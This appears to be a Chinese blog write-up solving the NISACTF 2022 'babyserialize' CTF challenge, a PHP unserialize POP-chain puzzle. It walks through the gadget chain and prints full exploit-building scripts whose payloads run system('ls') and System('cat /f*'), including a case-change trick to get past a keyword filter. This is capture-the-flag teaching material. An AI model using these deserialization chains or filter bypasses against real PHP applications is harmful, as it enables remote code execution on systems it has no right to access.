首页 > 其他分享 >NSSCTF [NISACTF 2022]babyserialize

NSSCTF [NISACTF 2022]babyserialize

时间:2024-08-27 20:14:39浏览次数:5  
标签:__ function Ilovetxw babyserialize 2022 fun new NISACTF public




<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;// 1 shell
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);//执行代码的地方,函数来源于NISA类
    }
}

class TianXiWei{
    public $ext;//5 传递Ilovetxw
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;// 4 传递four的地方
    public $su;// 2 传递参数的地方,可以将类NISA传过来

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){//_toString:当代码为字符串的时候执行
        $bb = $this->su;//参数传递的地方,传递参数su,来源于类Ilovetxwreturn $bb(); } }
class four{ 
public $a="TXW4EVER";//3 传递类Ilovetxw的地方
 private $fun='abc'; //fun的值要为sixsixsix
public function __set($name, $value) {
 $this->$name=$value;
 if ($this->fun = "sixsixsix"){ 
strtolower($this->a); } 
} }
if(isset($_GET['ser']))
{ @unserialize($_GET['ser']);//对GET获取的ser进行反序列化
 }else{ highlight_file(__FILE__); } 
//func checkcheck($data){ 
// if(preg_match(......)){
 // die(something wrong); 
// }
 //} 
//function hint(){ 
// echo "......."; 
// die(); 
//} 
?>

 

先看题,是一道反序列化的题,进入就是php代码,先看代码,是pop链,先找链尾,也就是执行函数的地方,例如eval,在NISA类中能看见eval,所以这就是代码执行的地方,也就是这条pop链的链尾。执行的函数是txw4ever,在代码后面标注一下(放在开篇的代码里面标注的)。这里进行赋值的时候使用了checkcheck方法,看样子是个检测方法,给的代码里面没有完整代码,猜测应该是一个过滤。

 既然要执行一个函数,那就需要将参数传递过去,下面找传递的地方,类似$a=$b的语句。可以在类Ilovetxw中看见这样一条语句, 可以看见,这里将su传递给了$bb,使用的是_toString。

继续向下看类four,里面是一个if判断,当fun=sixsixsix时才可以给类four里面的函数a赋值,所以待会需要修改fun的值。strtolower自动将大写转换成小写。

 顺着fun,我们找到类Ilovetxw里面的_call方法,在这里使用到了fun,但是我们可以发现,类Ilovetxw里面并没有fun函数,所以,我们可以将里面的four传递给里面的函数huang。_call方法在NISA里面,我们继续回到NISA寻找,并未发现其他的东西。

 继续查看代码,我们可以发现类TianXiWe里面的Wakeup方法,这里就是我们的链头所在了。这个方法就不用多说了,只要使用了反序列化unserialize机会自动调用。这里可以发现将nisa给了函数ext,而之前我们将nisa给了Ilovetxw,所以在这里我们需要给ext传递的就是Ilovetxw

 由此我们可以构造以下序列化代码

<?php
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='sixsixsix';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
$a=new NISA();
$a->txw4ever='system("ls");';
$b=new Ilovetxw();
$b->su=$a;
$c=new four();
$c->a=$b;
$b=new Ilovetxw();
$b->huang=$c;
$d=new tianXiWei();
$d->ext=$b;
echo urlencode(serialize($d));
?>

传递结果给ser,得到下面的界面

 知道flag在根目录下面,将ls改为cat /f*试试

 依然还是这个界面,那就说明哪里不对,能出现界面变化,说明前面应该没有问题,那就是那两个不知到用处的方法搞得鬼。

 一个checkcheck,一个hint方法,先看hint方法。用在这个地方的,他调用的前置条件是fun必须为这个值,那绕过他就很好办了,把fun的值改了就行了。随便改一个试试。

 页面发生变化,说明绕过了hint方法。

 接着是checkcheck方法,一看见preg_match,那多半就是对一些铭感词的过滤了,所以system,cat这些换个样子才行。最后得到下面的序列化代码

<?php
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='sixsixsix';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
$n=new NISA();
$n->txw4ever='System("cat /f*");';
$n->fun="666";
$i=new Ilovetxw();
$i->su=$n;
$f=new four();
$f->a=$i;
$i=new Ilovetxw();
$i->huang=$f;
$t=new tianXiWei();
$t->ext=$i;
echo urlencode(serialize($t));
?>

成功拿到flag

 

标签:__,function,Ilovetxw,babyserialize,2022,fun,new,NISACTF,public
From: https://www.cnblogs.com/karasbai/p/18383441

相关文章

  • OpenCV(VS2022配置OpenCV开发环境)
    目录1.下载OpenCV2.添加环境变量3.添加项目属性表4.配置DeBug属性表5.新的项目中快速配置6.配置Release属性表1.下载OpenCV访问:https://opencv.org/releases/2.添加环境变量添加环境变量%opencv%\build\x64\vc15\bin其中%opencv%为你自己的opencv文件夹的位置。......
  • 题解:P9256 [PA 2022] Muzyka pop 2
    题解:P9256[PA2022]Muzykapop2题目传送门题目重点从前往后比较,和数字比较一样,如:12345<12445。如果一个串是另一个串的前缀,那么不是前缀串的那个字典序小。题目思路我爱贪心贪心就行了,每次让x增加1,找出1的个数来实现。要求序列是字典序最小的,因此每次选择尽可......
  • 动态dp——P8820 [CSP-S 2022] 数据传输 题解
    P8820[CSP-S2022]数据传输可怜的cnblog被(昨天DDos+今天CC)攻击了(望周知!),只好先发在CSDN题面:题目描述小C正在设计计算机网络中的路由系统。测试用的网络总共有nn......
  • 春秋云镜 网鼎杯2022半决赛
    现用fscan扫一下访问发现是个wordpress,wpscan一下版本为6.2.6,使用了twentytwentyonetheme后台弱密码admin/123456登录由于存在themefileeditor,因此可以写马随便找一个php文件,写入木马.使用蚁剑连接,路径之前wpscan给出来了.得到了第一个flagflag:flag{c0af2d0......
  • 【CSP:202212-2】训练计划(Java)
    题目链接202212-2训练计划题目描述求解思路模拟:over表示能否按时完成所有训练项目rely[i]表示第i个项目的依赖项目编号(每个项目最多有一个依赖项目)days[i]用来记录第i个项目完成需要的天数allDays[i]表示加上该项目的所有前置依赖项(包含其依赖项目的依赖项目),完成......
  • YSP_refs_cn_2022
    rhTNFR-Fc中文文献-2022-RA 类风湿关节炎 随机对照试验[1-8][1] 贝丹.老年类风湿关节炎患者联用益赛普与甲氨蝶呤治疗的临床效果研究.黑龙江医药2022;35:140–142.浏览文摘[2] 凌青,李洁.重组Ⅱ型肿瘤坏死因子受体——抗体融合蛋白联合甲氨蝶呤治疗类风湿关节炎......
  • VS2022 Visual Studio Installer 一直卡在0%,或者下载速度慢的问题解决办法
    C:\Users\Administrator\AppData\Local\Temp到c盘查看日志,发现是下载一个叫vs_installer.opc的东西失败了, 直接复制日志里的https://aka.ms/vs/17/release/installer,下载,发现成功下载,然后放到installer安装器同级目录,重新打开setup安装,就成功了打开了,然后会一直正在准备中,......
  • SQL Server 2019及Solidworks 2022安装错误解决
    问题关键词:SQLServer2019;Solidworks2022;WaitontheDatabaseEnginerecoveryhandlefailed.TLDR:Windows11系统扇区过大导致SQLServer无法处理。参考这一个StackOverflow问题中的相关回答。问题解决(SQLServer2019安装问题):以管理员身份运行CommandPrompt或者......
  • 解决方案 | VS2022 社区版 获取工具和功能找不到visual stdio安装程序的终极解决办法
      首先这是一种解决方法:https://blog.csdn.net/Wysnbb/article/details/124588395 其次,如果上面方法解决不了,那么可以重新下载vs社区版。(不要误会,并不是下载10G+的东西)https://visualstudio.microsoft.com/zh-hans/vs/community/  下载得到:  安装VisualStud......
  • ACL 2022 SWCC 论文拆解
    引言本文贡献Wearemotivatedtoaddresstheaboveissueswiththegoalofmakingbetteruseofcooccurrenceinformationofevents.Tothisend,wepresentSWCC:aSimultaneousWeaklysupervisedContrastivelearningandClusteringframeworkforeventreprese......